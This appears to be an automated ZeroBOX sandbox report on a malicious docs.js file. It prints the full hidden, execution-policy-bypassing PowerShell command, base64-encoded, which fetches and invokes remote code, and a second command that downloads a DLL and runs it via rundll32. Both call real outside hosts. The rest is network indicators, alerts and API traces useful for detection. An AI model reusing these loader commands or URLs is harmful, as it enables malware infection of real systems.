Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	July 28, 2021, 2:04 p.m.	July 28, 2021, 2:07 p.m.

Size	52.7KB
Type	ASCII text, with very long lines, with no line terminators
MD5	`a8e17b6252ed7e3c9bda4f55b2e3cac9`
SHA256	`c36c266157d4e7b7b2dbc36d96bde0086e31647b541b14db70d9fe1e36bae779`
CRC32	`7C104951`
ssdeep	`1536:6yDjzIU6S7wMYO9noQlgOAt0kO8MifOSPPwHgYZSoX0:lDjz76SPYO9noVOAt0j8MifOSPPwHg+q`
Yara	None matched

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\docs.js
1496
- cmd.exe "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AagBvAHMAeQBtAGkAeABtAHkAaABvAG0AZQAuAGMAbwBtAC4AYgByAC8AcwBpAHQAZQAvAGQAaQByAGUAYwB0AC4AcABoAHAAIgApAA==
  568
  - powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AagBvAHMAeQBtAGkAeABtAHkAaABvAG0AZQAuAGMAbwBtAC4AYgByAC8AcwBpAHQAZQAvAGQAaQByAGUAYwB0AC4AcABoAHAAIgApAA==
    1360
    - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\fJcLHW.bin DllRegisterServer
      2196

Name	Response	Post-Analysis Lookup
docs.zohopublic.eu	A 213.244.146.19 CNAME l7-26-c2.zohopublic.eu	213.244.146.19
josymixmyhome.com.br	A 162.241.62.70	162.241.62.70

IP Address	Status	Action
162.241.62.70	Active	Moloch
164.124.101.2	Active	Moloch
213.244.146.19	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49167 -> 213.244.146.19:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49166 -> 213.244.146.19:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

No Suricata TLS

Queries for the computername (7 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 28, 2021, 2:05 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 28, 2021, 2:05 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 28, 2021, 2:05 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 28, 2021, 2:05 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 28, 2021, 2:05 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 28, 2021, 2:05 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 28, 2021, 2:05 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 28, 2021, 2:05 p.m.			0	0

Command line console output was observed (9 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 28, 2021, 2:05 p.m.	buffer: Exception calling "DownloadFile" with "2" argument(s): "The underlying connecti console_handle: 0x00000023	1	1
WriteConsoleW July 28, 2021, 2:05 p.m.	buffer: on was closed: An unexpected error occurred on a send." console_handle: 0x0000002f	1	1
WriteConsoleW July 28, 2021, 2:05 p.m.	buffer: At line:1 char:97 console_handle: 0x0000003b	1	1
WriteConsoleW July 28, 2021, 2:05 p.m.	buffer: + $path = $Env:temp+'\fJcLHW.bin'; $client = New-Object System.Net.WebClient; $ console_handle: 0x00000047	1	1
WriteConsoleW July 28, 2021, 2:05 p.m.	buffer: client.downloadfile <<<< ('https://docs.zohopublic.eu/downloaddocument.do?docId console_handle: 0x00000053	1	1
WriteConsoleW July 28, 2021, 2:05 p.m.	buffer: =674ni1c6312a91d7149af89b6475ece38b9b3&docExtn=png',$path); C:\Windows\System32 console_handle: 0x0000005f	1	1
WriteConsoleW July 28, 2021, 2:05 p.m.	buffer: \rundll32.exe $path,DllRegisterServer console_handle: 0x0000006b	1	1
WriteConsoleW July 28, 2021, 2:05 p.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x00000077	1	1
WriteConsoleW July 28, 2021, 2:05 p.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x00000083	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686430 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686c70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686c70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686c70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686e30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686e30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686e30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686e30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686e30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686e30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686c70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686c70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686c70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686b30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686b30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686b30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686770 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686b30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686b30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686b30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686b30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686b30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686b30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686b30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686fb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686fb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686fb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686fb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686fb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686fb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686fb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686fb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686fb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686fb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686fb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686fb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686fb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686fb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686ef0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686ef0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 28, 2021, 2:05 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00686e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 28, 2021, 2:05 p.m.		1	1	0

Powershell script has download & invoke calls (1 event)

One or more processes crashed (3 events)

Time & API	Arguments	Status
__exception__ July 28, 2021, 2:05 p.m.	stacktrace: GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x769e6d3a GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x769e6de8 GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x769e6e44 KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x7794011a DialogBoxIndirectParamAorW+0x108 SetDlgItemTextW-0x44 user32+0x3cf5c @ 0x76a0cf5c SoftModalMessageBox+0x757 MessageBoxTimeoutW-0x391 user32+0x6f73c @ 0x76a3f73c SoftModalMessageBox+0xa33 MessageBoxTimeoutW-0xb5 user32+0x6fa18 @ 0x76a3fa18 MessageBoxTimeoutW+0x52 MessageBoxTimeoutA-0x9 user32+0x6fb1f @ 0x76a3fb1f New_user32_MessageBoxTimeoutW@24+0x137 New_user32_RegisterHotKey@16-0x80 @ 0x742977b7 MessageBoxExW+0x1b MessageBoxA-0x9 user32+0x6fd15 @ 0x76a3fd15 MessageBoxW+0x18 SetSysColors-0x9 user32+0x6fd57 @ 0x76a3fd57 rundll32+0x393f @ 0x9393f rundll32+0x247a @ 0x9247a rundll32+0x1baf @ 0x91baf rundll32+0x12e8 @ 0x912e8 rundll32+0x1901 @ 0x91901 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76e333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77969ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77969ea5 exception.symbol: exception.exception_code: 0xc0000005 exception.address: 0x74533f46 registers.esp: 3141536 registers.edi: 0 registers.eax: 1951612742 registers.ebp: 3141576 registers.edx: 0 registers.ebx: 0 registers.esi: 1951612742 registers.ecx: 9309544	1
__exception__ July 28, 2021, 2:05 p.m.	stacktrace: GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x769e6d3a GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x769e6de8 GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x769e6e44 KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x7794011a DialogBoxIndirectParamAorW+0x108 SetDlgItemTextW-0x44 user32+0x3cf5c @ 0x76a0cf5c SoftModalMessageBox+0x757 MessageBoxTimeoutW-0x391 user32+0x6f73c @ 0x76a3f73c SoftModalMessageBox+0xa33 MessageBoxTimeoutW-0xb5 user32+0x6fa18 @ 0x76a3fa18 MessageBoxTimeoutW+0x52 MessageBoxTimeoutA-0x9 user32+0x6fb1f @ 0x76a3fb1f New_user32_MessageBoxTimeoutW@24+0x137 New_user32_RegisterHotKey@16-0x80 @ 0x742977b7 MessageBoxExW+0x1b MessageBoxA-0x9 user32+0x6fd15 @ 0x76a3fd15 MessageBoxW+0x18 SetSysColors-0x9 user32+0x6fd57 @ 0x76a3fd57 rundll32+0x393f @ 0x9393f rundll32+0x247a @ 0x9247a rundll32+0x1baf @ 0x91baf rundll32+0x12e8 @ 0x912e8 rundll32+0x1901 @ 0x91901 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76e333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77969ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77969ea5 exception.symbol: exception.exception_code: 0xc0000005 exception.address: 0x74533f46 registers.esp: 3141536 registers.edi: 0 registers.eax: 1951612742 registers.ebp: 3141576 registers.edx: 0 registers.ebx: 0 registers.esi: 1951612742 registers.ecx: 9309544	1
__exception__ July 28, 2021, 2:05 p.m.	stacktrace: CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x7692d08c TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x7692964b TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x76914d6b TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x76916f7c CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x7691e825 TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x76916002 TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x76915fe8 TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x769149e3 TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x76915a20 RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x77969a91 LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x77988f10 RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x77988e5c ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x76e37a25 rundll32+0x135c @ 0x9135c rundll32+0x1901 @ 0x91901 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76e333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77969ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77969ea5 exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25 exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4 exception.instruction: call dword ptr [ecx + 0xc] exception.module: MSCTF.dll exception.exception_code: 0xc0000005 exception.offset: 278260 exception.address: 0x76943ef4 registers.esp: 3144180 registers.edi: 0 registers.eax: 34611784 registers.ebp: 3144208 registers.edx: 1 registers.ebx: 0 registers.esi: 6955104 registers.ecx: 1951479164	1

Time & API

Arguments

Status

Return

Repeated

__exception__

July 28, 2021, 2:05 p.m.

stacktrace:

GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x769e6d3a
GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x769e6de8
GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x769e6e44
KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x7794011a
DialogBoxIndirectParamAorW+0x108 SetDlgItemTextW-0x44 user32+0x3cf5c @ 0x76a0cf5c
SoftModalMessageBox+0x757 MessageBoxTimeoutW-0x391 user32+0x6f73c @ 0x76a3f73c
SoftModalMessageBox+0xa33 MessageBoxTimeoutW-0xb5 user32+0x6fa18 @ 0x76a3fa18
MessageBoxTimeoutW+0x52 MessageBoxTimeoutA-0x9 user32+0x6fb1f @ 0x76a3fb1f
New_user32_MessageBoxTimeoutW@24+0x137 New_user32_RegisterHotKey@16-0x80 @ 0x742977b7
MessageBoxExW+0x1b MessageBoxA-0x9 user32+0x6fd15 @ 0x76a3fd15
MessageBoxW+0x18 SetSysColors-0x9 user32+0x6fd57 @ 0x76a3fd57
rundll32+0x393f @ 0x9393f
rundll32+0x247a @ 0x9247a
rundll32+0x1baf @ 0x91baf
rundll32+0x12e8 @ 0x912e8
rundll32+0x1901 @ 0x91901
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76e333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77969ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77969ea5

exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x74533f46
registers.esp: 3141536
registers.edi: 0
registers.eax: 1951612742
registers.ebp: 3141576
registers.edx: 0
registers.ebx: 0
registers.esi: 1951612742
registers.ecx: 9309544

__exception__

July 28, 2021, 2:05 p.m.

stacktrace:

GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x769e6d3a
GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x769e6de8
GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x769e6e44
KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x7794011a
DialogBoxIndirectParamAorW+0x108 SetDlgItemTextW-0x44 user32+0x3cf5c @ 0x76a0cf5c
SoftModalMessageBox+0x757 MessageBoxTimeoutW-0x391 user32+0x6f73c @ 0x76a3f73c
SoftModalMessageBox+0xa33 MessageBoxTimeoutW-0xb5 user32+0x6fa18 @ 0x76a3fa18
MessageBoxTimeoutW+0x52 MessageBoxTimeoutA-0x9 user32+0x6fb1f @ 0x76a3fb1f
New_user32_MessageBoxTimeoutW@24+0x137 New_user32_RegisterHotKey@16-0x80 @ 0x742977b7
MessageBoxExW+0x1b MessageBoxA-0x9 user32+0x6fd15 @ 0x76a3fd15
MessageBoxW+0x18 SetSysColors-0x9 user32+0x6fd57 @ 0x76a3fd57
rundll32+0x393f @ 0x9393f
rundll32+0x247a @ 0x9247a
rundll32+0x1baf @ 0x91baf
rundll32+0x12e8 @ 0x912e8
rundll32+0x1901 @ 0x91901
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76e333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77969ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77969ea5

__exception__

July 28, 2021, 2:05 p.m.

stacktrace:

CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x7692d08c
TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x7692964b
TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x76914d6b
TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x76916f7c
CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x7691e825
TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x76916002
TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x76915fe8
TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x769149e3
TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x76915a20
RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x77969a91
LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x77988f10
RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x77988e5c
ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x76e37a25
rundll32+0x135c @ 0x9135c
rundll32+0x1901 @ 0x91901
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x76e333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77969ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77969ea5

exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25
exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4
exception.instruction: call dword ptr [ecx + 0xc]
exception.module: MSCTF.dll
exception.exception_code: 0xc0000005
exception.offset: 278260
exception.address: 0x76943ef4
registers.esp: 3144180
registers.edi: 0
registers.eax: 34611784
registers.ebp: 3144208
registers.edx: 1
registers.ebx: 0
registers.esi: 6955104
registers.ecx: 1951479164

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header

suspicious_request

GET http://josymixmyhome.com.br/site/direct.php

Performs some HTTP requests (1 event)

request

GET http://josymixmyhome.com.br/site/direct.php

Allocates read-write-execute memory (usually to unpack itself) (50 out of 157 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 2162688 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02710000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73061000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0233a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73062000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02332000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02342000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0236a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02343000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
